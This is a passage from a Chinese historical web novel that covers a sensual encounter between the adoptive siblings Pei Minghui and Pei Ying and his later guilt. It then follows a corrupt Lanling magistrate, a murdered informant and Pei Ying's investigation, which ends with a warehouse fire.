这偌大的院子,仿佛只有裴明绘一个人。 今夜是第二个十五,所以,她必须来。 这是裴瑛的意思。 这是昨天晚上,裴瑛命人传来的信笺上面写的,寥寥几字并无挂念之词,她看完之后,便也将它丢在了火盆里。 她凝神看着红色的火苗舔舐着丝绢,细腻如雾的丝绢上是他的工整的字迹,再不复以往铁画银钩,好似坠着千钧的重担。 她停在了门前,可是她却不敢进去。 她不知道该怎么面对裴瑛。 虽然二人已经有了夫妻之实,可终究不是夫妻。 她终究不敢将裴瑛视作夫君。 她徘徊着,像是一个做了错事的小孩子一眼,一直徘徊游移在门前,看着门前杏树上落了皑皑的白雪到了深夜,仰头便又见到了干净地没有一丝尘埃的月亮。 天上的月亮冰冷而又明亮,照在皑皑白雪上,折在她渐次开始苍白的面上。 气血一阵一阵上涌,可她依旧不敢推开那扇紧闭着的门,不敢进去去见裴瑛。 她依旧在徘徊着,直到身体到了临界之时,她心慌得狠,原想再忍一忍,可是猛然一股翻涌上来的血液,让她眼前一黑,顿时便向地上栽去。 可是想象中的疼痛并没有到来,她竟没有栽倒地上,而是跌进一个冰冷的沁着雪气的怀抱,那无比熟悉却又无比陌生的冷香再度萦绕过来,从她的呼吸之中一路深入她的心肺,缓缓舒缓着她的痛苦。 黑暗里,是柔软温柔的触感,是萦绕着的沁人心脾的冷香,是那逐渐上升而渐渐燃烧起来的温度,小心翼翼却又缠绵悱恻,一点一点地缠绵着,一寸一寸地厮磨着。 呼吸渐渐地染上了暧昧,他的气息近在咫尺。 不知是谁的温度陡然间便升了起来,像是无形间升起一簇小小的火苗,驱散了雪夜的寒冷,消散了内心的焦灼。 她微微睁开眼睛,朦胧退尽之后是裴瑛紧紧闭着的眼眸,他纤长优雅的眼睫颤动着,像是黑色的蝶翼,轻轻地扫过她的面庞。 很痒。 后知后觉地,裴明绘才明白过来,裴瑛在亲吻她。 他的吻,是那样轻柔而又小心,他的手却那样有力,紧紧地扣住她的后脑。 若即若离,却又紧紧不放。 他察觉到裴明绘清醒过来,很快就离开了她,别过头去,苍白的面颊却浮上淡淡的红晕,像是晕在水中的胭脂,在冰冷雪光的映衬之下,却又像是映着一簇小小火苗的光影。 裴明绘垂下头,可是很快,她就拥了上去,她紧紧抱着裴瑛的颈项,鼓起勇气,去亲吻他。 裴瑛本想躲开,可是在躲开的那一瞬,又生生停住了。 裴明绘紧紧搂住他的颈,居高临下地去亲吻他,去冒犯自己最为敬爱的兄长。 唇齿厮磨,交换着彼此的温度与呼吸。 裴明绘的脸已然烫得吓人,可是她的脸与裴瑛的面容碰在一处时,却发觉自己的脸容是那么的凉。 这是裴明绘第一次主动地亲吻裴瑛,更为准确地说,是在她清醒的时候,去亲吻裴瑛。 裴瑛的脸色本事苍白的,后来稍稍带了些胭脂色的红,这一次,却是满面的红,像是身体里的血都要沸腾起来。 可是简单的亲吻并不能缓解痛苦,反而是饮鸩止渴,让身体里一直压制的欲|望更加猖獗疯狂。 很快,裴明绘便又呼吸不上来,身子便往旁边一歪,裴瑛一把将她搂在怀里,一把将她的膝弯抄起。 白衣翩翩,像是纷飞的白纱在空中肆意飞舞中,他抱着她,紧紧地抱着她,疾步穿过空荡荡的冰冷的厅堂,越过安静矗立着黑漆彩绘屏风。 裴明绘被放在榻上,裴瑛走了,但很快又回来,回来的时候手中多了一对玉杯。 “这……只是……” 裴明绘望着裴瑛手中的玉杯,怯生生地问道。 “喝了,很快就过去了。” 裴瑛的嗓音微微低哑,落在裴明绘的耳中,却仿佛醇香的酒,只闻上一闻,便让人的心尖都麻了下去。 “好……好。” 裴明绘到底不太好意思直视裴瑛,只别过头,伸出手去摸索着去拿玉杯。 她紧紧抿着红艳而又湿润的唇,泛着盈盈的水光,漫着惑人的香气,耳朵红得要滴出水来。 她慢慢地握住玉杯,指尖不小心碰到了他的指节。 她的手立马又缩了回去,可是很快却又再度鼓起勇气伸出了手。 他的手很烫,像是生了风寒一样,烫到燎人,一直从指尖烧到心底,一路开了火红的花。 她慢慢地握住玉杯,突然又生了狎昵的心思,慢悠悠怯生生地转过头,白而红的指尖执着白皙的玉杯,轻轻地碰了碰他的杯子。 随着叮咚一声清而脆的声响,玉杯里面的清而淡的水荡开幽幽地涟漪,模糊了一侧昏暗迷离的烛光。 60-73 第61章 情动 外面又下了雪, 不过不在是那如同飘鹅毛一般的大雪,只是一个小雪粒接着一个小雪粒的小雪,一阵接着轻飘飘却又冰冷的风将它们吹在紧闭的窗牖, 簌簌得好似春蚕吐丝之声。 每每想到抱着自己的人是谁,裴明绘几乎激动无法呼吸, 可是她想要去看他,想要去亲吻他,却又被他的手捂住了眼睛,她想去拿开他的手,自己的两只手却又被他一齐捉住,束在头顶。 原本只有束缚的意思, 可裴瑛的指尖却轻柔地抚摸着手腕侧柔软的肌肤。 裴瑛的吻原本想要落在她潮湿艳红的唇上, 可是迷离的眸子却又一瞬间的情形,这吻也就因着这片刻偏差落在他的脸颊上。 裴瑛不可置信地发着愣,甚至一时身下的动作也停滞了下来,眸中的欲色渐次被清醒所取代。 裴明绘一个偏头, 便躲开了他的手掌, 一双湿漉漉的像是小鹿一般的眼眸便撞进了他的眼睛。 像是石子投入看似平静的水面, 瞬间便将深藏在水底的潜流引了出来。 裴明绘看见裴瑛原本清明如水的眸子阴沉下来,再度翻复起层层波浪来。 或许是药效发作了罢。 她心道。 除了药力,难道他还能真的为自己动情,为自己疯魔吗? 一时之间, 情|潮伴着悲哀而来,可是还未待她伤心,身体里的异物便让她痛得仰起头绷直了腿。 “出……出去……呜。” 裴明绘痛呼出声, 可是下一秒却吻住,将她所有娇声痛呼全都咽了下去, 他捏着她的下颌,像是饮着这世间最为醉人的酒。 掌控权不知不觉间被他夺走,隐约之间,她似乎成了他的囊中之物,盘中之餐。 她仰着脖子,头却下垂,乌发像是丝缎瀑布一般顺滑地垂了下去,露出那段纤细优雅的脖颈,在黑暗里像是一节白嫩诱人的笋。 黑暗里,裴瑛的眼眸像是粼粼湖光,他闭着眼,优雅垂首,黑色光滑的发丝也一并垂下去,落在她快要烧起来的肌肤上,冰冰凉凉的感觉,让她忍不住想要逃开。 他缓缓张开嘴,慢悠悠地便咬了上去,真的就像是在咬食一节鲜嫩的竹笋一般,将她吞咽入腹。 轻轻的厮磨,微微的疼痛,远比亲吻更加催人魂魄,麻人骨髓。 若是远远看去,透过床帏之隙,便以为是一只冰冷的艳鬼在捕食无辜的女子。 裴明绘推着他的肩膀,想要逃开,光洁的脊背却又被一双大手猛地控住,丝毫不能远离,却又猛地往前一带,整个人就栽进了他的怀里,而他的另一只手却慢条斯理地搭在她的腿上,修长优雅的中指的指节带着滑腻的水光,它一点一点,一寸一寸燎起火焰,几乎让她的血液都就此沸腾。 人本不就能奢求太多,她心中苦笑,转过身来,迎合地抱住他的脖颈,以便他之予取予求。 在一次又一次的温热的潮水涌动里,她陷入了一场长长的梦里。 这场梦里,没有阴谋,没有杀戮,没有那些伦理道德的束缚,有的只是两颗紧紧依偎着的心。 可梦再长,却也有醒的时候。 裴明绘自混沌中清醒过来,便嗅到空气里弥漫着的馥郁的冷香,纠缠在她的呼吸间,让她心神荡漾,整个人也好似飘在了一叶扁舟之上。 屋子没有点灯,一片黑暗里只有燎炉的橘红火光与窗外的冷色雪光纠缠在一次,虚虚幻幻真真假假,几乎让她觉得自己还在那片绮丽的梦里。 眼眶里余着尚未落下的泪水,将各色低迷的色彩晕城斑斓的色块。 裴明绘眨了眨眼,那滴泪也就落了下来,眼前的模糊如潮水一般退去,清晰的景象渐次漫入眼中。 她平躺在榻上,浑身酸痛,那些令人脸红的痛楚无声地提醒着她,方才发生的事。 良久,她才重重地吐出气来,轻轻地转过身去,铺陈在榻上的黑色发丝便被汗水黏在她光洁的背上,她将头垫在胳膊上,目光炯炯地看着他。 借着被床帷筛过的斑驳却又柔和的光亮,裴明绘看清了他的轮廓,他平躺着,沉沉地闭着眼,纤长浓密的眼睫向下垂着,清俊隽雅的容貌被冷暖交织的光亮勾勒出一层微光轮廓。 忽然,裴明绘觉得他不在那么高不可攀了,或者说,他不在孤独地栖息在悬崖上,而自己只能在谷底仰望着他,一直仰着头,直到脖颈酸痛得再也抬不起来为止。 她伸出了那白皙瘦削宛若藕臂的,带着露水一般的细腻水光的手臂,手指虚虚地抚过他的脸,小心翼翼地描摹着他的轮廓。 他的眉眼一如既往的那么好看,极尽温柔的秀色却隐隐透着一股锋芒,白玉似的面容却无声流动着寒光,他虽闭着眼,可是她却觉得,他正清醒着。 他本就浅眠,若有风吹草动便会立即动身。 这样的人,又怎么不会察觉到卧榻之侧的动静呢。 她看着他,痴迷而又哀伤。 虽然,她已经得到了他,可是她的心底为什依旧充斥着不安呢? 这种不安像是看得见却摸不着的蔼蔼白雾,阴森森地笼罩在她的心上,好几次都让她喘不上气。 她不是已经得到他了吗,难道,这还不够吗? 裴明绘扪心自问。 难道自己还会失去他吗? 这个想法像是一道惊雷闪电一般,轰隆一声便惊醒了她虚假的安宁,惨白地照亮了她内心的千疮百孔。 有朝一日,她或许真的会失去他…… 看着他沉沉地闭着眼,裴明绘的脸色突然间便变得雪白,她整个人似乎真的喘不上来气,痛苦地仰躺在榻上,吃力地呼吸着。 “怎么了?” 裴瑛果然清醒着,他一下就睁开了眼睛,立马起身将裴明绘拉在怀里,一手搭在她的脉上,另一只手抚着她的胸口替她顺气。 修长匀称的指节像是沁了一层冰冷的霜露,抚在她的艰难起伏的心口,一下接着一下用着精巧的力,让她急剧跳动的心脏渐渐恢复了秩序,原本急促艰难地呼吸也开始平稳下来。 察觉到她的脉搏也平稳下来,裴瑛方才放开了那搁在她心口的手,将滑落的锦衾拉了上来,盖住她的身体,双臂紧紧环住她,沉默不语。 良久,她才缓过神来来,满头大汗,脸色苍白得像是窗外的新雪一般,隐隐透着光。 她察觉到裴瑛正将她搂在怀里,紧紧抱着她,她的头顶是他急促却沉默地呼吸。 她静默地感受着他的呼吸,他的温度,内心再度翻涌上来潮水般的情绪。 过去那些的阻隔似乎在此时此刻消失得无影无踪。 “哥哥,对不起。” 裴明绘伏在裴瑛的怀里,脸容紧紧靠着他的胸膛,泪流满面,泪水顺着她的下颌落下,一直落在他的肌肤之上,顺着他的劲瘦优美的肌肉线条慢慢落下,像是落雨一般,一直深入无迹。 感受到她的泪水的温热与潮湿,裴瑛的呼吸蓦然一顿,他垂下眼睫去,褪去情与欲的眸子依旧是黑漆漆的。 他一直看着她,可他却并没有说话。 他慢慢地收紧臂膀,将她圈在怀里,他的发与她的发交织在一处,难舍难分。 他们静默地听着彼此的心跳,彼此的呼吸,在生命的颤动之中沉默。 许久之后,裴瑛察觉到怀中人的呼吸渐渐平稳下来,他缓缓松开已然僵硬的臂膀,将裴明绘放在榻上,拾起一侧的寝衣,仔细地为她穿上,将白色系带系好,将她散乱的头发理顺好,最后将衾被盖在她的身上。 裴瑛翻身下榻。 可榻上的一切如此细致,可裴瑛却在下榻的时候忘了穿鞋。 他似乎有些着急,却又分外迟钝,他赤足便走在地上,凌乱的白色寝衣拖曳过暗沉得像是积了一层薄灰的红色地毡。 寒气隐隐从地毡的罅隙里渗了出来,从他的脚底钻了进去,一路沿着血肉经脉向上走,一直到了他的头颅。 他推开门,冰雪照衣,冷风盈袖,白衣翩翩。 握住门扉的手渐次收紧,裴瑛回过头来,眸光穿过层层阻碍,越过飘荡不息的床帷,看向她。 怎么可以一错再错呢? 她是你的妹妹啊,难道就因为她没有与你在同一个族谱之上,你真的就可以心安理得与她欢好吗? 你怎么可以心安理得呢? 一瞬间的情动,便彻底奠定了他的罪过。 因为那一瞬间,他真的是因为身下的人是她而情动。 裴瑛久久地回着头,直到屋外一声寒鸦惊飞,簌簌积雪落的声音将她惊醒,他的脸色一瞬间变得煞白,冷汗从额头上滚落。 只再需一次,这段畸形的关系就可以结束了。 他们二人就可以就此解脱了。 —— 今长安之政局,风起云涌,为朝夕之变化。 相位空缺,御史大夫与廷尉争权,屡相攻讦,难分上下。 —— 裴瑛总想让温珩死,温珩也不想要裴瑛活,政治上的仇敌,生活中的死敌,他们彼此都欲让对方死无全尸。 一直以来,这些斗争只是水面争相涌动的暗流,可是随着时局愈发紧张,这些潜伏在平静水面之下的斗争也开始渐渐浮现在水面之上,不可抵抗的危机终将到来。 冰雪再度消融,渭水涛涛东流,一场惊天动地的大案让这些潜伏在水底的暗流显现到了水面,化作滔天的狂澜,无情地袭击了长安城,处在其中的每个人都受到了猛烈的打击,多少官员入狱,鲜血汇入涛涛渭水,一片鲜红。 第62章 引子 东海郡兰陵。 墨般浓稠的黑云涌动在天际, 隐隐白光游动在层云之间。 这沉重的乌云压在兰陵城的头顶,原本空阔的原野与雄伟的兰陵城郭也因此而显得分外逼仄起来。 空气是潮湿而压抑的,这是暴雨来临前的沉闷。 狂风吹了起来, 将兰陵城的繁华与喧嚣也一并吹走,取而代之的是一片的萧索, 刮下来的树枝树叶被大风吹得满地翻滚,稀里哗啦地滚成一团。路上的行人也像是这草木一般,被风风吹得分外萧疏起来。顶着风的人行得分外艰难,逆着风的人被吹得七荤八素,眼见风势稍稍收势,众人便纷纷加快了脚步, 可是一声巨大的声响轰然炸在耳边, 他们的耳膜也似乎因此震颤,行人纷纷止步,抬头看去,冰冷的雨珠重重砸落下来, 砸得他们眼睛都睁不开了。 先是一点接着一点的雨花, 潮湿了这片干燥的土地, 几乎只是一下个呼吸的功夫,无边的雨幕便从天而落,整个兰陵城瞬间成了一片白色的汪洋。 路上再也没有了行人的踪迹,大抵谁都不愿意冒雨出来, 或者这般时候,也没有什么可以值得冒雨出来做的事。 雨越下越大,地面溅起的水花似乎变成了白色浪花, 阵阵翻涌在兰陵城的青石街板之上。 雨水缀成粗线兰陵县官府的漆黑瓦当上落下,遮住在檐下巡守的甲士的目光, 他们持刀负剑踏踏巡逻,不敢有丝毫的放松。 显然,此处是极为要紧的地方。 “啊——” 一声女子的凄厉尖叫划破了这沉闷潮湿的雨幕,远远地便传进了在此戍守的甲士的耳中,他们长剑立即出鞘立即警觉,为首之人立即招手,率领甲士闯进雨幕,循着尖叫声大步而去。 他们的身影消失在雨幕之中,稍后一个黑色的身影便从雨幕之中蹑手蹑脚地走了出来,闪进了曲折繁复的回廊里,他蒙着面,迅速左右环顾,确定无人之人之后方才双手抬着门,小心翼翼地抬起门,确保一丝声响都没有发出来,只开出一条刚好供人侧着身通过的缝,自己便闪了进去,而后门缝便也悄无声息地关上了。 屋子里没有点灯,外面有事沉沉的没有天光雨幕,让屋子更显沉闷晦暗,其间摆着各色漆器,个个都是色彩极为鲜艳花纹究极优美的,漆绘油彩针刻金箔,可是这么多精美的漆器堆在这里,纵然在黑暗里也该幽幽地发着光亮,可是它们却灰扑扑得像是落了一层灰罩了一雾一般,让人看不清楚也看明白。 他很是焦急,但步子却又不得不放慢。 他小心翼翼地走着,绕过那些易碎的漆器,一直往深处走。 一直到了堆着许多的竹简的书架处,他的心开始扑通扑通得跳了起来,他借着这些微的光开始寻找竹简外封上缀着的丝条,分辨着上面快要糊成一团的字迹。 中元六年……元光三年…… 他的目光想要飞速地寻找着,可是幽暗的光亮却让他不得不眯起眼睛慢下来。 快,要快! 随着时间的挪移,他的脸上沁出了豆大的汗珠,顺着他的脸颊落下。 终于,他的目光重重顿在了那幽幽垂着的丝绦上,上面是正是元朔六年的账册! 找到了! 他的目光立即聚焦到那静静垂下的丝绢上,其上皇皇的四个字瞬间就让他的眼睛都亮起了光! 他飞速地将怀中备好的书简替换进去,将书简迅速地塞进怀里,可是他的动作却在转身之时猛地一停,他又顺手将那那份书简抽了出来,也一同放在了怀里。 可就在他准备离开之时,门却被整个踹了开来,纷纷扬扬的雨丝雨粉一同迸溅进来,落在他的脸上,冰冰凉凉的,就像是他骤冷的鲜血一般。 当看见眼前的人的模样之时,他的眼瞳瞬间缩成了针尖大小,话不多说,二人的剑锋瞬息便撞在了一起,隐隐激出刺啦的火花,屋外又是一声惊雷,哗啦一声整个天地都变成了白色。 借着这一瞬间,他夺门而出,来人的剑锋擦过他的臂膀,登时鲜血迸溅,鲜红的血珠飞了出来。 暴雨里越来越多的官府甲士逼了过来,他猛地顿住,几步跳跃,越过漫着瀑布似的水的墙壁,越入了另一侧的院子。 “快,追上去,别让他跑了!” 甲士的声音被暴雨冲刷得隐隐约约,他看似盲目得游窜在县令府邸的穿堂回廊,很快一闪身便躲了一处屋子。 很快甲士的脚步声也围住了屋子,层层叠叠密不通风。 “让开让开——” 急促的呵斥声让甲士如流水受阻一般让出一条来,一个被大雨浇得湿透的男人大步走了过来。 这是一个峨冠广带的儒雅的男子,长须飘飘剑眉星目,立在瓢泼大雨,仿佛一只立在雨里的鹤。 “大人,窃贼逃入了小姐屋子里了,我等也不好冒然闯入,还请大人指示!” 同样被雨浇得湿透的甲士首领抱拳拱手。 “破屋,万不可让窃贼逃走。” 兰陵县令抬起手来,迅速向前一落,甲士首领得令,随即下令组织围攻。 里面的东西绝不能让它流出府去,这可不仅仅是要他们全府的命的东西,更是会在长安也掀起血雨腥风的东西。 兰陵县令重重地吐出一口浊气,沉重的雨水落在他的眼睫上,逼着他闭上了眼睛。 真是的,怎么就又有人知道了。 这群刁民,怎么这么不安分! 难道流得血还不够多吗? 怎么就不能闭嘴呢! 这是兰陵县令小女儿的闺房,兰陵县令见他们要行动,心中不由添了仇恨,若是让他的小女儿有丝毫损伤,他定要他们付出千倍万倍的代价! 大雨呼啦啦得落下,兰陵县令的声音沉闷异常:“万不得已,不可伤了小姐。” “诺!” 甲士首领嗨然领命,大踏步踏破水花,随着一声剧烈的声响,原本完好的门窗瞬间四分五裂。 “别动!” 满身伤痕的男人一把便将惊慌失措的无辜小姐拉入怀中,横刀于其颈上,正欲威胁他们不得前进,岂不料甲士根本不顾小姐生死,拔刀便上。 小姐顿时吓得花容失色,男人也是大惊,一把推开小姐,横刀相挡,一时之间便是刀光剑影血肉横飞,小姐吓得面色苍白踉踉跄跄跑开,一路扑进县令怀中,县令彼时全幅心思都在不速之客身上,也没心思宽慰受到惊吓的小姐,只命人护送小姐下去。 小姐被甲士护卫着退了下去,她被暴雨冲刷去了所有敷面所用的铅粉,脸上却白得更加吓人,她的嘴唇也苍白,像是被浸泡的糯米纸,但是一双黑色瞳仁却黑幽幽的,透过密集的雨幕,看向了那里正在进行的杀戮。 兰陵县令踏着胜利者的步子,走进了残破不堪的屋子。 他并没有直接杀死他。 “果然,你来了。” 他叹着气,颇为感叹地说道:“任何人都知道,在这兰陵,最不能招惹的人,便是我,可你偏偏为了那些不相干的人与我做的。你说,你为什么就这么喜欢找死呢?” 男人已经奄奄一息,他的脑袋像是失去了脊柱的支撑一般无力地垂着,身子却被以极其怪异的姿势被凶悍的甲士扭在一处,他听闻兰陵县令的话,不由冷笑一声,声音却像是从肺里发出来一样,痛苦而已嘶哑,随后带出一阵鲜红的带着内脏碎片的血。 “呵……为什么我就不能与你作对,你行贿受贿勾结豪强,错判冤案无数,滥杀无辜无数,与盗匪同流合污,外杀百姓内除异己,又与买卖人口私挖金矿,害了多少人!皇皇天地在上,我为什么就不能与你作对!” “你知道的倒是清除。”兰陵县令先是惊讶,而后呵呵地笑了起来,良久,他背着手仰天长叹起来:“这些,天下的官,有哪几个干干净净的,你为什么就逮着我一个作对呢?” 男人的眼睛倏然亮了起来,他的胸膛起伏得像是一个破烂的风箱:“你少为自己开脱,你手上多少人命啊,杀人本就该偿命,我早就该杀了你,你犯的罪,就算是碎尸万段也无法偿还!” 兰陵县令依旧不恼:“难道你要把天下的官员都杀个干净吗?” 男人的眼睛亮着光,牙齿满是血,他死死盯着兰陵县令,看着这个披着鹤皮怀着狼心的大奸大恶之人:“汉律昭昭,陛下若知你犯下如此大罪,难道还会放过你呢?” “汉律?你知道什么是汉律吗?” 兰陵县令嗤笑一声,背着手转过身来,细长的眼睛渗不进一丝光亮:“我来告诉你,什么是汉律。汉律就是我有罪,你却要不了我的命,而你无罪,我却能够要了你的命,就是这样,这就是汉律。你不会真的指望着庙堂的那群人能够有所施为罢,我且告诉你,我所做的一切,全都是依着上边人的吩咐。我再明白告诉你,你只要一告到上边,不消说明天,今天就能要了你全族的命。当年多么大的一个裴家啊,不就是那么完蛋的吗,自以为可以违抗他们的意思,最后被先帝抛弃,成了茫茫大漠里的一堆白骨,连带着裴显礼亲手带出来的军队,也一起完了蛋。” “呵……” 男人依旧不为所动。 “今陛下为裴家翻案,倚重裴家孤儿,难道不就是要与你们作对的意思吗!” “我们?” 男人再度嗤笑一声。 “我不可不配呢,我不过是个喽啰,跟在他们后面顺带喝点汤的人物罢了。陛下倚重裴瑛,难道就真的想要为裴家翻案啊,不过是为了自己清除亲政前的阻难罢了,你当陛下真的信任裴瑛吗?若是真的信任裴瑛,难道会只杀一个处理当年叛国罪的廷尉吗?况且,一个裴瑛,一介酷吏,一无家世,二无倚仗,身无挂碍,又极为狠心,却是把好刀。这些年,陛下借着裴瑛这把刀杀了多少人,裴瑛又受了多少次刺杀,挨了世人多少骂,你难道看不清吗?” “这把刀,已经钝了啊。” 大雨哗啦啦一直下,下得昏天暗地,从断掉的脖颈处涌出来的鲜血汇入雨水里,很快被稀释得无踪无疾。 天色彻底暗了下来。 一骑快马却在此时,飞奔长安。 第63章 灾祸前夕 正值夏末秋初, 长安的天气依旧闷热非常,但是长安的坊市街头却也就随着温度的上升开始再度繁华起来。 这骑快马从东海郡兰陵县而来,一路风尘仆仆风餐露宿, 日夜不停披星戴月地奔着长安而来,骏马飞似地行过跨越渭水的横桥, 桥下的渭水在七八月交之时的水量大了起来,广阔水面映着来来往往的人的模样,滚滚的波涛像是男人难以安定的心。 他在长安城外停下,牵着马开始入城,可就在他踏入长安城的一瞬间,许多道目光就聚焦到他的身上。 他看着雄伟壮观的城楼, 一眼望不到边的画楼高阁, 旗帜招展间便见连绵起伏的宫室楼阁,这扑面而来的皇家气派让他忍不住为之驻足,惊得合不拢嘴。 走在街头之人大都华衣袨服,光彩照人, 纵有些许衣着朴素者, 大都淹没在了他们衣饰的光彩之中。 长安乃是究极繁华之处, 有着数不尽可以一步登天的机遇,却也是及其危险之地,看似机遇,实则危机, 一步踏错,粉身碎骨。 朝承恩暮赐死,一朝繁华作荒凉。 可他却不是为着自己的繁华而来的, 他是为着为千千万万正在东海郡痛苦着的人而来的。 他收起了所有的心神,大踏步地走着, 每走一步,心中便愈加坚定。 可就在他曲折地走向御史大夫的府邸之时,隐藏在来来往往的人群中突然走出了许多人。 他们看起来同普通的百姓没有什么区别,他们看似随意地走着,却渐渐地逼近了这个外来人。 男人似乎察觉到了什么,立马顿住了脚步,他意识到了自己的行迹已然暴露,心中暗暗着急,却也不敢轻举妄动。 他一走,后面的人便也跟进。 他一停,后面的人便也停下。 走走停停,反复几次,男人的心瞬间凉了大半。 难道就要功亏一篑了吗? 冷汗唰唰地往下落,男人看着几乎近在咫尺的御史大夫府邸,心底却是一片荒凉。 他缓缓转过头去,手渐渐摁住了剑柄。 —— 大雨转成小雨,淅淅沥沥的雨落在屋檐上,汇聚成小溪流,滴滴答答响在台基之上。 屋子里摆着一尊三足金蟾香炉,一双红玛瑙的眼睛幽幽地闪着光,从蟾蜍嘴里吐出一柱缥缈的香雾。 帐子里的兰陵县令睡得格外得好,听着外头催人眠的雨声,愈发睡得深沉。 屋外长廊忽的传来踏踏的脚步声,就听见婢女的劝阻之声:“别进去,老爷正睡呢……” “快……快让开,有天大的事!” 真吵! 睡梦中兰陵县令蹙起了眉,随着吱呀一声重重地推开门,潮湿的水汽随着风一下子便窜了进来,吹起了丝绢制的床帏。 这丝丝混着潮气的凉气吹了过来,兰陵县令猛地坐起,一把拉起床帏,趿上鞋履,一把揪住了那个闷着头闯进来的小厮:“你跑什么,后面有老虎追你吗!” “老爷老爷……” 那小厮淋得满身潮湿,气喘吁吁话也说不清楚。 “你喘什么!” 兰陵县令更加恼怒。 “朝……朝廷来……来人了!” 小厮一句三顿地说着。 “朝廷来人了?” 兰陵县令不可置信地蹙起了眉。 “快说,来的谁?” 小厮似乎是因为紧张而说得断断续续的:“御史……” 兰陵县令起初以为只是朝中来了位侍御史,想必是来督查政绩的,兰陵县令这才大大地松了口气,可是这气还没有松完,很快便又悬了起来。 小厮眼见兰陵县令误会了,顿时着急了气也不喘了:“是御史大夫裴瑛!” “什么!” 兰陵县令好悬一口气没上来,他一把将小厮拽了过来,声音颤抖得像是瑟瑟发抖的秋叶。 “你再说一遍!” 小厮被兰陵县令拽得险些快要跌倒了:“是御史大夫裴瑛,现在来的路上,车马快要进城了!” “坏了坏了!” 这真的是一个吃人的老虎! 裴瑛的手段他是清楚得很的,兰陵县令方才志得意满的嚣张瞬间荡然无存,他赶忙拾掇去穿衣服,却紧张到穿错了袖子。 他像是突然想起什么来一样,猛地转过身来:“快去,把那里巡逻的人都撤走!” —— 细雨绵绵,兰陵城一片烟水朦胧,城外长亭处立着一众官袍加身的人物。 这显然是兰陵县一众要紧官员。 他们在细雨中等待,甚至兰陵县令都没有打伞,雨浸透了他的衣裳,他的目光透过于丝织成的帘子,目不转睛地看着那烟雨朦胧的大道尽头。 等了许久,却也不见人来。 众人的衣服都被这绵密的细雨浇了个湿透,兰陵县令的心也是浸在了这冰冷的雨水里,始终无法安宁。 辚辚车马声由远而近,驶过潮湿的泥土的声音像是压在了兰陵县令的心里,他猛然从潮湿蔫吧的状态中苏醒过来,整个人也精神抖擞严阵以待起来。 大汉黑红色旗帜飞扬在茫茫雨雾之中,先行出现在眼前是护卫开路的骑士,昂扬的骏马踩过已然湿润的土路,留下一行马蹄印,但是很快便被车辙掩了过去。 这是一辆没有繁复装饰的马车,它古朴而又沉重,车璧与车轮处有精铁打造的贴条紧紧箍住,就算是有流矢射来,最后也只是在上面留下一个白印罢了。 就算道路泥泞,它行在肃然骑行的骑士之中,不紧不慢地前行着,所过之地似乎都已经划入了它的领域,它就像是一辆不可撼动的战车,由远而近地逼来,这整齐划一的凛凛威势让在路上站着的兰陵县令的心七上八下地晃着。 浸透了冷雨的衣服湿哒哒地黏在身上,让他很不舒服,在身体心理的双重压力之下,他觉得自己快晕过去了。 虽然他十日前说得很好,但毕竟天高皇帝远,裴瑛的活动范围也远不及东海郡,若他真的想管东海郡,也定然管不到隶属东海郡的一个小小县城。 更让他放心的是,他做的事虽然都是些要紧的大事,但在朝中人的掩护之下,裴瑛甚至没有意识到他的存在,更遑论知道他是谁了。 相比他这一个负责执行的小喽啰,朝廷里那些高爵官员才应是裴瑛的目标才是。 可是,他万万没有想到,裴瑛真的会在百忙之中真的到东海郡。 兰陵县令真的慌了神。 裴瑛就算要来,也该先有东海郡郡守来接见才对,怎么突然就到了县城? 兰陵县县令肯定不会以为裴瑛是听闻他在外宣扬的那些个虚假的好名声才来的。 那只有一个可能,裴瑛来收拾他了。 兰陵县令的思绪一到这里,登时便是全身僵硬,如遭雷击。 怎么裴瑛到这儿,也没有人通知他,难道那些人真的就要将他供出去了?或者说,裴瑛在庙堂之上业已取得了完全的或者压倒性的胜利吗?! 终于,整肃的车队停在了这里,而那辆被铁骑簇拥在中心的马车也稳稳停在了他的身前,他一仰头,才堪堪可以看见马车的车窗。 车窗里悬着深蓝色的车帘,帘子上古朴肃穆的流云纹样,线条有力却也不乏灵动,就算现微冷潮湿的小风吹着也丝毫没有起伏。 “兰陵县令郭守成率兰陵全体官员迎候御史大夫。” 郭守成毕恭毕敬诚惶诚恐地躬身见礼。 一声毕之后,却没有得到一丝一毫的回应,他依旧恭敬地躬身拱手,腰身也开始隐隐作痛,夹着雨丝的冷风吹得他的头也开始疼痛起来。 一时一刻一刻地过去了,原本的小雨渐渐大了起来。 他浑身上下也是被浇了一个透彻,一贯不着风不见凉的兰陵县令郭守成的心理防线开始出现崩塌之势。 他像是一只落汤鸡一样,落寞地站在雨里,官府也因为彻底的浸满了雨水沉甸甸地贴在身上,郭守成那种的居于上位的威风与傲气荡然无存。 冷汗从他的头上落下。 “兰陵县令郭守成率兰陵全体官员迎候御史大夫。” 他直起酸麻的腰身,再度恭敬地低下腰身,拱手见礼。 “起来罢。” 不疾不徐的声音慢悠悠地自车厢里传了出来。 —— 黑色的长靴踩过满是灰尘的地板,幽幽的暖红色烛光晃荡着照亮一寸地方,灰尘浮荡,裴瑛的目光梭巡在此处,快速却又缜密地扫过每一尺每一寸地方。 这是兰陵县城北部一座废弃的仓库,七零八落地堆着许多架子和箱子,上面落着厚厚的一层灰。 裴瑛捧着蜡烛,慢慢踱步在这里。 他早就知道他们会转移证据,便先行带人来到兰陵,一直在暗中观察许久,却并没有发现异样。 裴瑛便猜想是有人闯入县令府邸便让他们有所警觉,定然不敢有什么大的动作。 裴瑛便下令让后行的朝堂车马开始动作,放出风声,而他在此静静观察,查看他们如何转移证据。 同时,他也察觉到朝堂中似乎有人开始动作,以防万一,他便决定先下手为强。 屋子很黑,只有裴瑛手中这里的一寸烛光,幽幽的映着他容颜,凝作漆黑眼眸一点辉光。 虽然他们做的都很仔细,但是烛光照出一条几无灰尘的小道,直直通往仓库的深处。 第64章 生死别离 子时一刻。 寂静的黑夜挂着一只光芒黯淡的上弦月, 寥寥疏星半死不活得闪烁着微末的光芒,几只寒鸦盘旋悠荡在半空之中,发出嘲哳难听的鸣叫声。 一切的一切, 都在隐喻着不详。 突然之间,明火乍起, 像是一蹙火焰被投入烈油之中,轰得一声便盛大起来,所有静谧,所有黑暗,被这轰然而起的火焰炸得粉碎。一时之间,整座兰陵县都躁动起来, 百姓们纷纷从睡梦中惊醒, 急忙从井中汲水救火。 可是就在他们提着木桶呼啦一声涌了过来,却发现仓库方圆三里已然戒严,连带着仓库周围的民居也已被烈火殃及而被点燃,仓库整体为石砌, 其高三层, 故火势不易骤烈, 可周围民居却都是木制,一点便是不可扑灭的火势,大有向四周涌动之势。 惨叫声,尖叫声, 